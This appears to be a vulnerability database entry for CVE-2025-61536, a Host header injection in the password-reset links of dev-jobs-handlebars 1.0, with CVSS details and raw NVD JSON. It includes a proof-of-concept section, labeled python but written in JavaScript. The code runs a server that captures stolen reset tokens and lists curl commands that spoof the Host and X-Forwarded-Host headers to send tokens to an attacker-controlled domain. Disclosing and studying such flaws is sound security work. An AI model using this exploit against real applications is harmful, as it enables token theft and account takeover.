Security Vulnerability Report
中文
CVE-2025-61536 CVSS 8.2 HIGH

CVE-2025-61536

Published: 2025-10-16 15:15:34
Last Modified: 2026-04-15 00:35:42

Description

FelixRiddle dev-jobs-handlebars 1.0 uses absolute password-reset (magic) links using the untrusted `req.headers.host` header and forces the `http://` scheme. An attacker who can control the `Host` header (or exploit a misconfigured proxy/load-balancer that forwards the header unchanged) can cause reset links to point to attacker-controlled domains or be delivered via insecure HTTP, enabling token theft, phishing, and account takeover.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

FelixRiddle dev-jobs-handlebars 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-61536 PoC - Host Header Injection in Password Reset * Vulnerability: dev-jobs-handlebars 1.0 uses untrusted req.headers.host * to construct password reset magic links with http:// scheme * * Usage: This PoC demonstrates how an attacker can poison password reset * links by manipulating the Host header in HTTP requests. */ // Step 1: Attacker sets up a listener on attacker-controlled domain // to capture the leaked reset tokens const http = require('http'); const url = require('url'); // Attacker server to capture stolen tokens const attackerServer = http.createServer((req, res) => { const parsedUrl = url.parse(req.url, true); console.log(`[+] Captured token: ${parsedUrl.query.token}`); console.log(`[+] Full URL: ${req.url}`); // Forward victim to legitimate site to avoid suspicion res.writeHead(302, { 'Location': 'https://legitimate-site.com/login' }); res.end(); }); attackerServer.listen(80, () => { console.log('[*] Attacker server listening on port 80'); }); // Step 2: Attacker sends password reset request with manipulated Host header // The vulnerable code constructs: http://${req.headers.host}/reset?token=${token} // By changing Host header to attacker.com, the link becomes: // http://attacker.com/reset?token=SECRET_TOKEN const exploitRequest = ` POST /forgot-password HTTP/1.1 Host: attacker-controlled-domain.com Content-Type: application/json Content-Length: 35 {"email":"[email protected]"} `; console.log('[*] Exploit request to send:'); console.log(exploitRequest); console.log('\n[*] When victim receives the reset email, the link will be:'); console.log(' http://attacker-controlled-domain.com/reset?token=<STOLEN_TOKEN>'); console.log('\n[*] Attacker can now use the captured token to reset victim\'s password'); // Step 3: Using curl to exploit console.log('\n[*] Equivalent curl command:'); console.log(`curl -X POST http://target-app.com/forgot-password \\ -H "Host: attacker-controlled-domain.com" \\ -H "Content-Type: application/json" \\ -d '{"email":"[email protected]"}'`); // Step 4: Using X-Forwarded-Host to bypass proxy validation console.log('\n[*] If behind a misconfigured proxy, use X-Forwarded-Host:'); console.log(`curl -X POST http://target-app.com/forgot-password \\ -H "X-Forwarded-Host: attacker-controlled-domain.com" \\ -H "Content-Type: application/json" \\ -d '{"email":"[email protected]"}'`);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61536", "sourceIdentifier": "[email protected]", "published": "2025-10-16T15:15:34.317", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FelixRiddle dev-jobs-handlebars 1.0 uses absolute password-reset (magic) links using the untrusted `req.headers.host` header and forces the `http://` scheme. An attacker who can control the `Host` header (or exploit a misconfigured proxy/load-balancer that forwards the header unchanged) can cause reset links to point to attacker-controlled domains or be delivered via insecure HTTP, enabling token theft, phishing, and account takeover."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-620"}]}], "references": [{"url": "https://github.com/FelixRiddle/dev-jobs-handlebars/", "source": "[email protected]"}, {"url": "https://github.com/bugdotexe/Vulnerability-Research/tree/main/CVE-2025-61536", "source": "[email protected]"}]}}